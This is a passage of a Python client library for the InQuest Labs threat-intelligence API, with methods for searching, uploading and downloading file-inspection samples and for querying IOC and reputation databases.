91 | VALID_CAT = ["ext", "hash", "ioc"]
92 | VALID_EXT = ["code", "context", "metadata", "ocr"]
93 | VALID_HASH = ["md5", "sha1", "sha256", "sha512"]
94 | VALID_IOC = ["domain", "email", "filename", "filepath", "ip", "registry", "url", "xmpid"]
95 | VALID_DOMAIN = re.compile("[a-zA-Z0-9-_]+\.[a-zA-Z0-9-_]+")
96 |
97 | # verbosity levels.
98 | INFO = 1
99 | DEBUG = 2
100 |
101 | ########################################################################################################################
102 | def worker_proxy (labs, endpoint, arguments, response):
103 | """
104 | proxy function for multiprocessing wrapper used by inquestlabs_api.report()
105 | """
106 |
107 | response[endpoint] = getattr(labs, endpoint)(*arguments)
108 |
109 |
110 | ########################################################################################################################
111 | class inquestlabs_exception(Exception):
112 | pass
113 |
114 | ########################################################################################################################
115 | class inquestlabs_api:
116 | """
117 | InQuest Labs API Wrapper
118 | https://labs.inquest.net
119 | """
120 |
121 | ####################################################################################################################
122 | def __init__ (self, api_key=None, config=None, proxies=None, base_url=None, retries=3, verify_ssl=True, verbose=0):
123 | """
124 | Instantiate an interface to InQuest Labs. API key is optional but sourced from (in order): argument, environment
125 | variable, or configuration file. Proxy dictionary is a raw pass thru to python-requests, valid keys are 'http'
126 | and 'https'.
127 |
128 | :type api_key: str
129 | :param api_key: API key, optional, can also be supplied via environment variable 'IQLABS_APIKEY'.
130 | :type config: str
131 | :param config: Path to configuration file containing API key, default is '~/.iqlabskey'.
132 | :type proxies: dict
133 | :param proxies: Optional proxy dictionary to pass down to underlying python-requests library.
134 | :type base_url: str
135 | :param base_url: API endpoint.
136 | :type retries: int
137 | :param retries: Number of times to attempt API request before giving up.
138 | :type verify_ssl: bool
139 | :param verify_ssl: Toggles SSL certificate verification when communicating with the API.
140 | :type verbose: int
141 | :param verbose: Values greater than zero provide increased verbosity.
142 | """
143 |
144 | # internalize supplied parameters.
145 | self.api_key = api_key
146 | self.base_url = base_url
147 | self.config_file = config
148 | self.retries = retries
149 | self.proxies = proxies
150 | self.verify_ssl = verify_ssl
151 | self.verbosity = verbose
152 |
153 | # internal rate limit tracking.
154 | self.rlimit_requests_remaining = None # requests remaining in this rate limit window.
155 | self.rlimit_reset_epoch_time = None # time, in seconds from epoch, that rate limit window resets.
156 | self.rlimit_reset_epoch_ctime = None # same as above, but in ctime human readable format.
157 | self.rlimit_seconds_to_reset = None # seconds to reset time.
158 | self.api_requests_made = 0 # keep track of how many API requests we've made.
159 |
160 | # if no base URL was specified, use the default.
161 | if self.base_url is None:
162 | self.base_url = "https://labs.inquest.net/api"
163 | self.__VERBOSE("base_url=%s" % self.base_url, DEBUG)
164 |
165 | # if no config file was supplied, use a default path of ~/.iqlabskey.
166 | if self.config_file is None:
167 | self.config_file = os.path.join(os.path.expanduser("~"), ".iqlabskey")
168 |
169 | elif "~" in self.config_file:
170 | self.config_file = os.path.expanduser(self.config_file)
171 |
172 | self.__VERBOSE("config_file=%s" % self.config_file, DEBUG)
173 |
174 | # if an API key was specified, note the source.
175 | if self.api_key:
176 | self.api_key_source = "supplied"
177 |
178 | # otherwise, we don't have an API source yet, we'll check the environment and config files though.
179 |
180 | else:
181 | self.api_key_source = "N/A"
182 |
183 | # check the environment for one
184 | self.api_key = os.environ.get("IQLABS_APIKEY")
185 |
186 | if self.api_key:
187 | self.api_key_source = "environment"
188 |
189 | # if we still don't have an API key, try loading one from the config file.
190 | else:
191 |
192 | # config file format:
193 | # $ cat .iqlabskey
194 | # [inquestlabs]
195 | # apikey: deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
196 | if os.path.exists(self.config_file) and os.path.isfile(self.config_file):
197 |
198 | config = configparser.ConfigParser()
199 |
200 | try:
201 | config.read(self.config_file)
202 | except:
203 | raise inquestlabs_exception("invalid configuration file: %s" % self.config_file)
204 |
205 | try:
206 | self.api_key = config.get("inquestlabs", "apikey")
207 | except:
208 | raise inquestlabs_exception("unable to find inquestlabs.apikey in: %s" % self.config_file)
209 |
210 | # update the source, include the path.
211 | self.api_key_source = "config: %s" % self.config_file
212 |
213 | # NOTE: if we still don't have an API key that's fine! InQuest Labs will simply work with some rate limits.
214 | self.__VERBOSE("api_key=%s" % self.api_key, DEBUG)
215 | self.__VERBOSE("api_key_source=%s" % self.api_key_source, INFO)
216 |
217 | ####################################################################################################################
218 | def API (self, api, data=None, path=None, method="GET", raw=False, params=None):
219 | """
220 | Internal API wrapper.
221 |
222 | :type api: str
223 | :param api: API endpoint, appended to base URL.
224 | :type data: dict
225 | :param data: Optional data dictionary to pass to endpoint.
226 | :type path: str
227 | :param path: Optional path to file to pass to endpoint.
228 | :type method: str
229 | :param method: API method, one of "GET" or "POST".
230 | :type raw: bool
231 | :param raw: Default behavior is to expect JSON encoded content, raise this flag to expect raw data.
232 | :type method: str
233 | :param method: Set a parameter for the request.
234 |
235 | :rtype: dict | str
236 | :return: Response dictionary or string if 'raw' flag is raised.
237 | """
238 |
239 | assert method in ["GET", "POST"]
240 |
241 | # if a file path was supplied, convert to a dictionary compatible with requests and the labs API.
242 | files = None
243 |
244 | if path:
245 | files = dict(file=open(path, "rb"))
246 |
247 | # initialize headers with a custom user-agent and if an API key is available, add an authorization header.
248 | headers = \
249 | {
250 | "User-Agent" : "python-inquestlabs/%s" % __version__
251 | }
252 |
253 | if self.api_key:
254 | headers["Authorization"] = "Basic %s" % self.api_key
255 |
256 | # build the keyword arguments that will be passed to requests library.
257 | kwargs = \
258 | {
259 | "data" : data,
260 | "files" : files,
261 | "headers" : headers,
262 | "proxies" : self.proxies,
263 | "verify" : self.verify_ssl,
264 | "params" : params
265 | }
266 |
267 | # make attempts to dance with the API endpoint, use a jittered exponential back-off delay.
268 | last_exception = None
269 | endpoint = self.base_url + api
270 | attempt = 0
271 |
272 | self.__VERBOSE("%s %s" % (method, endpoint), INFO)
273 |
274 | while 1:
275 | try:
276 | response = requests.request(method, endpoint, **kwargs)
277 | self.api_requests_made += 1
278 | self.__VERBOSE("[%d] %s" % (self.api_requests_made, kwargs), DEBUG)
279 | break
280 |
281 | except Exception as e:
282 | last_exception = e
283 | self.__VERBOSE("API exception: %s" % e, INFO)
284 |
285 | # 0.4, 1.6, 6.4, 25.6, ...
286 | time.sleep(random.uniform(0, 4 ** attempt * 100 / 1000.0))
287 | attempt += 1
288 |
289 | # retries exhausted.
290 | if attempt == self.retries:
291 | message = "exceeded %s attempts to communicate with InQuest Labs API endpoint %s."
292 | message %= self.retries, endpoint
293 |
294 | if last_exception:
295 | message += "\nlast exception:\n%s" % str(last_exception)
296 |
297 | raise inquestlabs_exception(message)
298 |
299 | # update internal rate limit tracking variables.
300 | if hasattr(response, "headers"):
301 | self.rlimit_requests_remaining = response.headers.get('X-RateLimit-Remaining')
302 | self.rlimit_reset_epoch_time = response.headers.get('X-RateLimit-Reset')
303 |
304 | if self.rlimit_requests_remaining:
305 | self.rlimit_requests_remaining = int(self.rlimit_requests_remaining)
306 |
307 | if self.rlimit_reset_epoch_time:
308 | self.rlimit_reset_epoch_time = int(self.rlimit_reset_epoch_time)
309 | self.rlimit_seconds_to_reset = int(self.rlimit_reset_epoch_time - time.time())
310 | self.rlimit_reset_epoch_ctime = time.ctime(self.rlimit_reset_epoch_time)
311 |
312 | self.__VERBOSE("API status_code=%d" % response.status_code, INFO)
313 | self.__VERBOSE(response.content, DEBUG)
314 |
315 | # all good.
316 | if response.status_code == 200:
317 |
318 | # if the raw flag was raised, return raw content now.
319 | if raw:
320 | return response.content
321 |
322 | # otherwise, we convert the assumed JSON response to a python dictionary.
323 | response_json = response.json()
324 |
325 | # with a 200 status code, success should always be true...
326 | if response_json['success']:
327 | return response_json['data']
328 |
329 | # ... but let's handle corner cases where it may not be.
330 | else:
331 | message = "status=200 but error communicating with %s: %s"
332 | message %= endpoint, response_json.get("error", "n/a")
333 | raise inquestlabs_exception(message)
334 |
335 | # rate limit exhaustion.
336 | elif response.status_code == 429:
337 | raise inquestlabs_exception("status=429 rate limit exhausted!")
338 |
339 | # something else went wrong.
340 | else:
341 | message = "status=%d error communicating with %s: "
342 | message %= response.status_code, endpoint
343 |
344 | try:
345 | response_json = response.json()
346 | message += response_json.get("error", "n/a")
347 | except:
348 | message += str(response.content)
349 |
350 | raise inquestlabs_exception(message)
351 |
352 | ####################################################################################################################
353 | def __HASH (self, path=None, bytes=None, algorithm="md5", block_size=16384, fmt="digest"):
354 | """
355 | Return the selected algorithms crytographic hash hex digest of the given file.
356 |
357 | :type path: str
358 | :param path: Path to file to hash or None if supplying bytes.
359 | :type bytes: str
360 | :param bytes: str bytes to hash or None if supplying a path to a file.
361 | :type algorithm: str
362 | :param algorithm: One of "md5", "sha1", "sha256" or "sha512".
363 | :type block_size: int
364 | :param block_size: Size of blocks to process.
365 | :type fmt: str
366 | :param fmt: One of "digest" (str), "raw" (hashlib object), "parts" (array of numeric parts).
367 |
368 | :rtype: str
369 | :return: Hash as hex digest.
370 | """
371 |
372 | def chunks (l, n):
373 | for i in range(0, len(l), n):
374 | yield l[i:i+n]
375 |
376 | algorithm = algorithm.lower()
377 |
378 | if algorithm == "md5": hashfunc = hashlib.md5()
379 | elif algorithm == "sha1": hashfunc = hashlib.sha1()
380 | elif algorithm == "sha256": hashfunc = hashlib.sha256()
381 | elif algorithm == "sha512": hashfunc = hashlib.sha512()
382 |
383 | # hash a file.
384 | if path:
385 | with open(path, "rb") as fh:
386 | while 1:
387 | data = fh.read(block_size)
388 |
389 | if not data:
390 | break
391 |
392 | hashfunc.update(data)
393 |
394 | # hash a stream of bytes.
395 | elif bytes:
396 | hashfunc.update(bytes)
397 |
398 | # error.
399 | else:
400 | raise inquestlabs_exception("hash expects either 'path' or 'bytes'.")
401 |
402 | # return multiplexor.
403 | if fmt == "raw":
404 | return hashfunc
405 |
406 | elif fmt == "parts":
407 | return map(lambda x: int(x, 16), list(chunks(hashfunc.hexdigest(), 8)))
408 |
409 | else: # digest
410 | return hashfunc.hexdigest()
411 |
412 | ####################################################################################################################
413 | def __HASH_VALIDATE (self, hash_str, length=None):
414 | """
415 | Determine if the given hash string contains valid hex chars for the specified length or entirely, if left out.
416 |
417 | :type hash_str: str
418 | :param hash_str: Hash string to verify.
419 | :type length: int
420 | :param length: Number of characters in hash string.
421 |
422 | :rtype: bool
423 | :return: True is hash string is valid, False otherwise.
424 | """
425 |
426 | if not hash_str:
427 | return None
428 |
429 | if length and len(hash_str) != length:
430 | return False
431 |
432 | if re.match("[0-9a-fA-F]+", hash_str, re.I):
433 | return True
434 |
435 | return False
436 |
437 | ####################################################################################################################
438 | def __VERBOSE (self, message, verbosity=INFO):
439 | """
440 | Outputs 'message' to stderr if instance verbosity is equal to or greater than the supplied verbosity.
441 |
442 | :type message: str
443 | :param message: Path to file to hash or None if supplying bytes.
444 | :type verbosity: int
445 | :param verbosity: Minimum verbosity level required to display message.
446 | """
447 |
448 | if self.verbosity >= verbosity:
449 | sys.stderr.write("[verbosity=%d] %s\n" % (self.verbosity, message))
450 |
451 | ####################################################################################################################
452 | # hash shorcuts.
453 | def md5 (self, path=None, bytes=None): return self.__HASH(path=path, bytes=bytes, algorithm="md5")
454 | def sha1 (self, path=None, bytes=None): return self.__HASH(path=path, bytes=bytes, algorithm="sha1")
455 | def sha256 (self, path=None, bytes=None): return self.__HASH(path=path, bytes=bytes, algorithm="sha256")
456 | def sha512 (self, path=None, bytes=None): return self.__HASH(path=path, bytes=bytes, algorithm="sha512")
457 |
458 | def is_md5 (self, hash_str): return self.__HASH_VALIDATE(hash_str, 32)
459 | def is_sha1 (self, hash_str): return self.__HASH_VALIDATE(hash_str, 40)
460 | def is_sha256 (self, hash_str): return self.__HASH_VALIDATE(hash_str, 64)
461 | def is_sha512 (self, hash_str): return self.__HASH_VALIDATE(hash_str, 128)
462 |
463 | ####################################################################################################################
464 | def dfi_attributes (self, sha256, filter_by=None):
465 | """
466 | Retrieve attributes for a given file by SHA256 hash value.
467 |
468 | :type sha256: str
469 | :param sha256: SHA256 hash for the file we are interested in.
470 | :type filter_by: str
471 | :param filter_by: Optional filter, can be one of 'domain', 'email', 'filename', 'filepath', ip', 'registry', 'url', 'xmpid'.
472 | :rtype: dict
473 | :return: API response.
474 | """
475 |
476 | # if a filter is specified, sanity check.
477 | if filter_by:
478 | filter_by = filter_by.lower()
479 |
480 | if filter_by not in VALID_IOC:
481 | message = "invalid attribute filter '%s'. valid filters include: %s"
482 | message %= filter_by, ", ".join(VALID_IOC)
483 | raise inquestlabs_exception(message)
484 |
485 | # dance with the API.
486 | attributes = self.API("/dfi/details/attributes", dict(sha256=sha256))
487 |
488 | # filter if necessary.
489 | if filter_by:
490 | # sample data:
491 | # [
492 | # {
493 | # "category": "ioc",
494 | # "attribute": "domain",
495 | # "count": 1,
496 | # "value": "ancel.To"
497 | # },
498 | # {
499 | # "category": "ioc",
500 | # "attribute": "domain",
501 | # "count": 1,
502 | # "value": "Application.Top"
503 | # }
504 | # ]
505 | attributes = [attr for attr in attributes if attr['attribute'] == filter_by]
506 |
507 | # return attributes.
508 | return attributes
509 |
510 | ####################################################################################################################
511 | def dfi_details (self, sha256, attributes=False):
512 | """
513 | Retrieve details for a given file by SHA256 hash value. Optionally, pull attributes in a second API request
514 | and append to the data dictionary under the key 'attributes'.
515 |
516 | Returned dictionary keys and value types include::
517 | analysis_completed: bool
518 | classification: MALICIOUS|BENIGN
519 | ext_code: str
520 | ext_context: str
521 | ext_metadata: str
522 | ext_ocr: str
523 | file_type: CAB|DOC|DOCX|EML|MSI|OLE|PCAP|PPT|TNEF|XLS
524 | first_seen: str ex: Thu, 07 Nov 2019 21:26:53 GMT
525 | inquest_alerts: dict keys=category,description,reference,title
526 | inquest_dfi_size: int
527 | last_inquest_dfi: str
528 | last_inquest_featext: str
529 | last_updated: str
530 | len_code: int
531 | len_context: int
532 | len_metadata: int
533 | len_ocr: int
534 | md5: str
535 | mime_type: str
536 | sha1: str
537 | sha256: str
538 | sha512: str
539 | size: int
540 | subcategory: str
541 | subcategory_url: str
542 | virus_total: str
543 |
544 | :type sha256: str
545 | :param sha256: SHA256 hash for the file we are interested in.
546 | :type attributes: bool
547 | :param attributes: Raise this flag to includes 'attributes' subkey.
548 |
549 | :rtype: dict
550 | :return: API response.
551 | """
552 |
553 | assert self.is_sha256(sha256)
554 |
555 | # API dance.
556 |
557 | data = self.API("/dfi/details", dict(sha256=sha256))
558 |
559 |
560 | if attributes:
561 | data['attributes'] = self.dfi_attributes(sha256)
562 |
563 | return data
564 |
565 | ####################################################################################################################
566 | def dfi_download (self, sha256, path, encrypt=False):
567 | """
568 | Download requested file and save to path.
569 |
570 | :type sha256: str
571 | :param sha256: SHA256 hash for the file we are interested in.
572 | :type path: str
573 | :param path: Where we want to save the file.
574 | :type encrypt: bool
575 | :param encrypt: Raise this flag to download the file inside a Zip file encrypted with the password 'infected'.
576 | """
577 |
578 | assert self.is_sha256(sha256)
579 |
580 | # NOTE: we're reading the file directly into memory here! not worried about it as the files are small and we
581 | # done anticipate any OOM issues.
582 | data = self.API("/dfi/download", dict(sha256=sha256, encrypt_download=encrypt), raw=True)
583 |
584 | # if we requested a raw download, then ensure we got what we were looking for.
585 | if not encrypt:
586 | calculated = self.sha256(bytes=data)
587 |
588 | if calculated != sha256:
589 | message = "failed downloading file! expected sha256=%s calculated sha256=%s"
590 | message %= sha256, calculated
591 | raise inquestlabs_exception(message)
592 |
593 | # write the file to disk.
594 | with open(path, "wb+") as fh:
595 | fh.write(data)
596 |
597 | ####################################################################################################################
598 | def dfi_list (self, malicious=None, kind=None, has_code=None, has_context=None, has_metadata=None, has_ocr=None):
599 | """
600 | Retrieve the most recent DFI entries. Example dictionary returned in list::
601 |
602 | {'analysis_completed': True,
603 | 'classification': 'MALICIOUS',
604 | 'file_type': 'DOC',
605 | 'first_seen': 'Thu, 07 Nov 2019 21:26:53 GMT',
606 | 'inquest_alerts': [],
607 | 'last_inquest_featext': 'Thu, 07 Nov 2019 21:30:23 GMT',
608 | 'len_code': 10963,
609 | 'len_context': 24,
610 | 'len_metadata': 1021,
611 | 'len_ocr': 0,
612 | 'mime_type': 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
613 | 'sha256': 'f7702e873c1a26e8171d771180108a9735cb5a2b69958e14b51eb572973cfb7b',
614 | 'size': 821038,
615 | 'subcategory': 'macro_hunter',
616 | 'subcategory_url': 'https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule'}
617 |
618 | :type malicious: bool
619 | :param malicious: Filter results by whether or not they are malicious.
620 | :type kind: str
621 | :param kind: Filter list by high level type, ex: 'DOC', 'DOCX', 'OLE', 'PPT', 'XLS'.
622 | :type has_code: int
623 | :param has_code: Filter results by whether or not they contain X bytes of embedded logic.
624 | :type has_context: int
625 | :param has_context: Filter results by whether or not they contain X bytes of semantic information.
626 | :type has_metadata: int
627 | :param has_metadata: Filter results by whether or not they contain X bytes of any metadata.
628 | :type has_ocr: int
629 | :param has_ocr: Filter results by whether or not they contain X bytes of OCR extracted semantic data.
630 |
631 | :rtype: list
632 | :return: List of dictionaries.
633 | """
634 |
635 | filtered = []
636 |
637 | for entry in self.API("/dfi/list"):
638 |
639 |
640 | # process filters as disqualifiers.
641 | if malicious == True and entry['classification'] != "MALICIOUS":
642 | continue
643 |
644 | if malicious == False and entry['classification'] != "UNKNOWN":
645 | continue
646 |
647 | if kind is not None and entry['file_type'] != kind:
648 | continue
649 |
650 | if has_code is not None and entry['len_code'] < has_code:
651 | continue
652 |
653 | if has_context is not None and entry['len_context'] < has_context:
654 | continue
655 |
656 | if has_metadata is not None and entry['len_metadata'] < has_metadata:
657 | continue
658 |
659 | if has_ocr is not None and entry['len_ocr'] < has_ocr:
660 | continue
661 |
662 | # if we're still here, we keep the entry.
663 | filtered.append(entry)
664 |
665 | return filtered
666 |
667 | ####################################################################################################################
668 | def dfi_search (self, category, subcategory, keyword):
669 | """
670 | Search DFI category/subcategory by keyword. Valid categories include: 'ext', 'hash', and 'ioc'. Valid
671 | subcategories for each include: ext: 'code', 'context', 'metadata', and 'ocr'. hash: 'md5', 'sha1', 'sha256',
672 | and 'sha512'. ioc: 'domain', 'email', 'filename', 'filepath', ip', 'registry', url', 'xmpid'. See
673 | https://labs.inquest.net for more information.
674 |
675 | Example dictionary returned in list of matched entries::
676 |
677 | {'analysis_completed': True,
678 | 'classification': 'MALICIOUS',
679 | 'file_type': 'DOC',
680 | 'first_seen': 'Thu, 07 Nov 2019 21:26:53 GMT',
681 | 'inquest_alerts': [],
682 | 'last_inquest_featext': 'Thu, 07 Nov 2019 21:30:23 GMT',
683 | 'len_code': 10963,
684 | 'len_context': 24,
685 | 'len_metadata': 1021,
686 | 'len_ocr': 0,
687 | 'mime_type': 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
688 | 'sha256': 'f7702e873c1a26e8171d771180108a9735cb5a2b69958e14b51eb572973cfb7b',
689 | 'size': 821038,
690 | 'subcategory': 'macro_hunter',
691 | 'subcategory_url': 'https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule'}
692 |
693 | :type category: str
694 | :param category: Search category, one of 'ext', 'hash', or 'ioc'.
695 | :type subcategory: str
696 | :param subcategory: Search subcategory.
697 | :type keyword: str
698 | :param keyword: Keyword, hash, or IOC to search for.
699 |
700 | :rtype: list
701 | :return: API response.
702 | """
703 |
704 | # normalize to lowercase.
705 | category = category.lower()
706 | subcategory = subcategory.lower()
707 |
708 | # sanity check.
709 | if category not in VALID_CAT:
710 | message = "invalid category '%s'. valid categories include: %s"
711 | message %= category, ", ".join(VALID_CAT)
712 | raise inquestlabs_exception(message)
713 |
714 | for c, v in zip(VALID_CAT, [VALID_EXT, VALID_HASH, VALID_IOC]):
715 | if category == c and subcategory not in v:
716 | message = "invalid subcategory '%s' for category '%s'. valid subcategories include: %s"
717 | message %= subcategory, category, ", ".join(v)
718 | raise inquestlabs_exception(message)
719 |
720 | # API dance.
721 | if category == "ext":
722 | subcategory = "ext_" + subcategory
723 |
724 | if category == "hash":
725 | data = dict(hash=keyword)
726 | else:
727 | data = dict(keyword=keyword)
728 |
729 | return self.API("/dfi/search/%s/%s" % (category, subcategory), data)
730 |
731 | ####################################################################################################################
732 | def dfi_sources (self):
733 | """
734 | Retrieves the list of YARA hunt rules that run atop of Virus Total Intelligence and fuel the majority of the
735 | DFI corpus.
736 |
737 | :rtype: dict
738 | :return: API response.
739 | """
740 |
741 | return self.API("/dfi/sources")
742 |
743 | ####################################################################################################################
744 | def dfi_upload (self, path):
745 | """
746 | Uploads a file to InQuest Labs for Deep File Inspection (DFI). Note that the file must be one of doc, docx, ppt,
747 | pptx, xls, xlsx.
748 |
749 | :type path: str
750 | :param path: Path to file to upload.
751 |
752 | :rtype: dict
753 | :return: API response.
754 | """
755 |
756 | VALID_TYPES = ["doc", "docx", "ppt", "pptx", "xls", "xlsx"]
757 |
758 | # ensure the path exists and points to a file.
759 | if not os.path.exists(path) or not os.path.isfile(path):
760 | raise inquestlabs_exception("invalid file path specified for upload: %s" % path)
761 |
762 | # ensure the file is an OLE (pre 2007 Office file) or ZIP (post 2007 Office file).
763 | with open(path, "rb") as fh:
764 | if fh.read()[:2] not in [b"\xD0\xCF", b"PK"]:
765 | message = "unsupported file type for upload, valid files include: %s, etc..."
766 | message %= ", ".join(VALID_TYPES)
767 | raise inquestlabs_exception(message)
768 |
769 | # dance with the API.
770 | return self.API("/dfi/upload", method="POST", path=path)
771 |
772 | ####################################################################################################################
773 | def iocdb_list (self, kind=None, ref_link_keyword=None, ref_text_keyword=None):
774 | """
775 | Retrieve a list of the most recent entries added to the InQuest Labs IOC database. Example data::
776 |
777 | {
778 | "artifact": "85b936960fbe5100c170b777e1647ce9f0f01e3ab9742dfc23f37cb0825b30b5",
779 | "artifact_type": "hash",
780 | "created_date": "Thu, 14 Nov 2019 19:14:55 GMT",
781 | "reference_link": "http://feedproxy.google.com/~r/feedburner/Talos/~3/cWpezcI4rFw/threat-source-newsletter-nov-14-2019.html",
782 | "reference_text": "Newsletter compiled by Jon Munshaw. Welcome to this week's Threat Source newsletter - the perfect place to get caught up on all things Talos..."
783 | }
784 |
785 | :type kind: str
786 | :param kind: Filter results by data type, can be one of 'ip', 'url', 'domain', 'yara', 'hash'.
787 | :type ref_link_keyword: str
788 | :param ref_link_keyword: Filter results by keyword in reference link.
789 | :type ref_text_keyword: str
790 | :param ref_text_keyword: Filter results by keyword in reference text.
791 |
792 | :rtype: dict
793 | :return: API response.
794 | """
795 |
796 | filtered = []
797 |
798 | for entry in self.API("/iocdb/list"):
799 |
800 | # process filters as disqualifiers.
801 | if kind is not None and not entry['artifact_type'].startswith(kind.lower()):
802 | continue
803 |
804 | if ref_link_keyword is not None and ref_link_keyword not in entry['reference_link'].lower():
805 | continue
806 |
807 | if ref_text_keyword is not None and ref_text_keyword not in entry['reference_text'].lower():
808 | continue
809 |
810 | # if we're still here, we keep the entry.
811 | filtered.append(entry)
812 |
813 | return filtered
814 |
815 | ####################################################################################################################
816 | def iocdb_search (self, keyword):
817 | """
818 | Search the InQuest Labs IOC database for entries matching the keyword.
819 |
820 | :type keyword: str
821 | :param keyword: Search term.
822 |
823 | :rtype: dict
824 | :return: API response.
825 | """
826 |
827 | return self.API("/iocdb/search", dict(keyword=keyword))
828 |
829 | ####################################################################################################################
830 | def iocdb_sources (self):
831 | """
832 | Retrieves the list of sources that fuel the InQuest Labs IOC database.
833 |
834 | :rtype: dict
835 | :return: API response.
836 | """
837 |
838 | return self.API("/iocdb/sources")
839 |
840 | ########################################################################################################################
841 | def is_ipv4 (self, s):
842 | # we prefer to use the ipaddress third-party module here, but fall back to a regex solution.
843 | try:
844 | import ipaddress
845 | except:
846 | if re.match("^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", s):
847 | return True
848 | else:
849 | return False
850 |
851 | # python 2/3 compat
852 | try:
853 | s = unicode(s)
854 | except:
855 | pass
856 |
857 | # is instance of IPv4 address?
858 | try:
859 | return isinstance(ipaddress.ip_address(s), ipaddress.IPv4Address)
860 | except:
861 | return False
862 |
863 |
864 | ########################################################################################################################
865 | def is_ipv6 (self, s):
866 | # best effort pull in third-party module.
867 | try:
868 | import ipaddress
869 | except:
870 | return None
871 |
872 | # python 2/3 compat
873 | try:
874 | s = unicode(s)
875 | except:
876 | pass
877 |
878 | # is instance of IPv6 address?
879 | try:
880 | return isinstance(ipaddress.ip_address(s), ipaddress.IPv6Address)
881 | except:
882 | return False
883 |
884 |
885 | ####################################################################################################################
886 | def is_domain (self, s):
887 | return VALID_DOMAIN.match(s)
888 |
889 | ####################################################################################################################
890 | def is_ip (self, s):
891 | return self.is_ipv4(s) or self.is_ipv6(s)
892 |
893 | ####################################################################################################################
894 | def lookup (self, kind, ioc):
895 | """
896 | Lookup information regarding IP address or Domain Name.
897 |
898 | :type kind: str
899 | :param kind: One of "IP" or "Domain".
900 | :type ioc: str
901 | :param ioc: Indicator to lookup.
902 |
903 | :rtype: dict
904 | :return: API response.
905 | """
906 |
907 | kind = kind.lower()
908 | assert kind in ["ip", "domain"]
909 |
910 | return self.API("/lookup/%s" % kind, dict(indicator=ioc))
911 |
912 | ####################################################################################################################
913 | def rate_limit_banner (self):
914 | """
915 | Returns a string describing number of API requests made since instantiation, remaining API credits (if a rate
916 | limit is imposed), and when the rate limit window resets.
917 |
918 | :rtype: str
919 | :return: Request and rate limit information, in human readable format.
920 | """
921 |
922 | if not self.api_requests_made:
923 | return "Rate limit information not available, no API requests made."
924 |
925 | if self.rlimit_requests_remaining:
926 | limit_banner = "%d API requests made. %d API requests remaining. Rate limit window resets on %s."
927 | limit_banner %= self.api_requests_made, self.rlimit_requests_remaining, self.rlimit_reset_epoch_ctime
928 | else:
929 | limit_banner = "%d API requests made. No rate limit! API key sourced from %s."
930 | limit_banner %= self.api_requests_made, self.api_key_source
931 |
932 | return limit_banner
933 |
934 | ####################################################################################################################
935 | def repdb_list (self, kind=None, source=None):
936 | """
937 | Retrieve a list of the most recent entries added to the InQuest Labs reputation database. Example data::
938 |
939 | {
940 | "created_date": "Thu, 14 Nov 2019 18:22:00 GMT",
941 | "data": "beautyevent.ru/Invoice-for-j/b-03/05/2018/",
942 | "data_type": "url",
943 | "derived": "beautyevent.ru",
944 | "derived_type": "domain",
945 | "source": "urlhaus",
946 | "source_url": "https://urlhaus.abuse.ch/host/beautyevent.ru"
947 | }
948 |
949 | :type kind: str
950 | :param kind: Filter results by data type, can be one of 'ip', 'url', 'domain', 'asn'.
951 | :type source: str
952 | :param source: Filter results by source, examples include: 'alienvault', 'blocklist', 'urlhaus', etc..
953 |
954 | :rtype: dict
955 | :return: API response.
956 | """
957 |
958 | filtered = []
959 |
960 | for entry in self.API("/repdb/list"):
961 |
962 | # process filters as disqualifiers.
963 | if kind is not None and not entry['data_type'].startswith(kind.lower()):
964 | continue
965 |
966 | if source is not None and not entry['source'].startswith(source.lower()):
967 | continue
968 |
969 | # if we're still here, we keep the entry.
970 | filtered.append(entry)
971 |
972 | return filtered
973 |
974 | ####################################################################################################################
975 | def repdb_search (self, keyword):
976 | """
977 | Search the InQuest Labs reputation database for entries matching the keyword.
978 |
979 | :type keyword: str
980 | :param keyword: Search term.
981 |
982 | :rtype: dict
983 | :return: API response.
984 | """
985 |
986 | return self.API("/repdb/search", dict(keyword=keyword))
987 |
988 | ####################################################################################################################
989 | def repdb_sources (self):
990 | """
991 | Retrieves the list of sources that fuel the InQuest Labs reputaiton database.
992 |
993 | :rtype: dict
994 | :return: API response.
995 | """
996 |
997 | return self.API("/repdb/sources")
998 |
999 | ####################################################################################################################
1000 | def report (self, ioc, timeout=None):
1001 | """
1002 | Leverage multiprocessing to produce a single report for the supplied IP/domain indicator which includes data
1003 | from: lookup, DFIdb, REPdb, and IOCdb.
1004 |
1005 | :type ioc: str
1006 | :param ioc: Indicator to lookup (IP, domain, URL)
1007 | :type timeout: integer
1008 | :param timeout: Maximum time given to producing the IOC report (default=60).
1009 |
1010 | :rtype: dict
1011 | :return: API response.
1012 | """
1013 |
1014 | # default timeout.
1015 | if timeout is None:
1016 | timeout = 60
1017 |
1018 | # parallelization.
1019 | jobs = []
1020 | mngr = multiprocessing.Manager()
1021 | resp = mngr.dict()
1022 |
1023 | # what kind of IOC are we dealing with.
1024 | if self.is_ip(ioc):
1025 | kind = "ip"
1026 | elif self.is_domain(ioc):
1027 | kind = "domain"
1028 | elif ioc.startswith("http"):
1029 | kind = "url"
1030 | else:
1031 | raise inquestlabs_exception("could not determine indicator type for %s" % ioc)
1032 |
1033 | # only IPs and domains get lookups.
1034 | if kind in ["ip", "domain"]:
1035 | job = multiprocessing.Process(target=worker_proxy, args=(self, "lookup", [kind, ioc], resp))
1036 | jobs.append(job)
1037 | job.start()
1038 |
1039 | # all IOCs get compared against DFIdb, REPdb, and IOCdb
1040 | job = multiprocessing.Process(target=worker_proxy, args=(self, "dfi_search", ["ioc", kind, ioc], resp))
1041 | jobs.append(job)
1042 | job.start()
1043 |
1044 | job = multiprocessing.Process(target=worker_proxy, args=(self, "repdb_search", [ioc], resp))
1045 | jobs.append(job)
1046 | job.start()
1047 |
1048 | job = multiprocessing.Process(target=worker_proxy, args=(self, "iocdb_search", [ioc], resp))
1049 | jobs.append(job)
1050 | job.start()
1051 |
1052 | # wait for jobs to complete.
1053 | self.__VERBOSE("waiting up to %d seconds for %d jobs to complete" % (timeout, len(jobs)))
1054 |
1055 | # wait for jobs to complete, up to timeout
1056 | start = time.time()
1057 |
1058 | while time.time() - start <= timeout:
1059 | if not any(job.is_alive() for job in jobs):
1060 | # all the processes are done, break now.
1061 | break
1062 |
1063 | # this prevents CPU hogging.
1064 | time.sleep(1)
1065 |
1066 | else:
